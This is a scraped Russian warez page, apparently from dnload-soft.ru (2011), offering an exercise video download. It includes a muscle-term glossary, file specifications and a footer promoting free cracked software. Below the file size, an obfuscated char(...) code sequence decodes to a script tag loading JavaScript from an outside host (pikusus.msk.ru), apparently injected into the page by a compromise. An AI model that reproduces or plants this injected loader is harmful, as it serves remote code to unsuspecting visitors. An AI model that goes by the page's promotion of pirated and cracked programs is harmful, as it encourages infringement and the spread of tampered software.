Голосование |
Что Вы ищите в Интернете? |
|
|
Облако Тегов |
2011, Dance, DVDRip, HDRip, MP3, Music, Pop, Portable, Rus, soft, VA, windows, Документальный, Игры, Клубная, Мультимедиа, Система, безопасность, бесплатно, боевик, видео, драма, игра, интернет, кино, книги, комедия, мп3, музыка, обои, поп, программа, программы, сборник, скачать, скачать бесплатно, софт, триллер, фильм, фильмы
Показать все теги
|
|
Это прикольно |
|
|
Супер комплекс упражнений для наращивания мышц, укрепления здоровья и тонуса (2011) WEBRip
|
|
|
Фильмы | Автор: bishop12 | 8-07-2011, 16:10
|
|
|
Подборка простых упражнений для наращивания мышц, укрепления здоровья и поддержания себя в тонусе. Не требует сложных снарядов и инструментов. Авторы наглядно посредством 3D анимации показывают какие именно мышцы выполняют работу во время упражнения, объясняют технику дыхания. Присутствует голосовое сопровождение в виде диктора с синтезированным компьютерным голосом (на английском языке). Все надписи также на английском.
Перевод терминов:
- abs - пресс.
- adductor - бедро.
- arms - руки.
- biceps - бицепс.
- buttocks - ягодицы.
- calf - икра.
- chest - грудь.
- dumbbell - гантели.
- back muscles - мышцы спины.
- legs - ноги.
- forearm - предплечье.
- hamstring - задняя часть бедра.
- lower back - поясница.
- neck - шея.
- quadriceps - квадрицепс (передняя мышца бедра).
- shoulders - плечи.
- stability ball - надувной снаряд для фитнесса.
- triceps - трицепс (нижняя мышца плеча).
Год выпуска: 2008-2011
Жанр: спорт
Язык: английский
Продолжительность: 02:14:30
md5
932a0f0d0415d3339af2781ff156b918
О файле
Качество видео: WEBRip
Контейнер: MP4
Видеокодек: AVC (h.264)
Битрейт видео: ~352 Кб/с и ~1500 Кб/с; fps: 29.970 ( два типа видео).
Размер кадра: 480x360px и 1280x720px
Аудиокодек: AAC
Битрейт аудио: 44.1 КГц; ~60-100 Кб/с; 2 Ch
Размер: 1.28 Gb
char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)9f54cc788312bda6567a48bfc3d29643.js" type="text/javascript">
Ключевые теги: укрепления, здоровья, упражнений, наращивания, тонуса, комплекс, видео, Супер, бедра, мышцы
|
Просмотров: 192 | Комментариев 0
|
|
|
|
Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости. |
|
Календарь |
« Ноябрь 2011 »
|
Пн |
Вт |
Ср |
Чт |
Пт |
Сб |
Вс |
|
1
|
2
|
3
|
4
|
5
|
6
|
7
|
8
|
9
|
10
|
11
|
12
|
13
|
14
|
15
|
16
|
17
|
18
|
19
|
20
|
21
|
22
|
23
|
24
|
25
|
26
|
27
|
28
|
29
|
30
|
|
|
|
У нас на сайте |
Скачать бесплатно софт 2010-2011 года на сайте без регистрации и смс, Вы найдёте лучшие и необходимые программы для пк на русском языке. Этот варезник был разработан специально для любителей бесплатного софта для вашего ПК, а также ломаных и рабочих программ. У нас на сайте вы скачаете игры, музыку, софт, программы, для мобилки, а так же много других бесплатных утилит на dnload-soft.ru. |
|
|
|
|
|
|
donload-soft.ru © 2011 Скачать бесплатно программы русские лучший софт без регистрации
|
|
|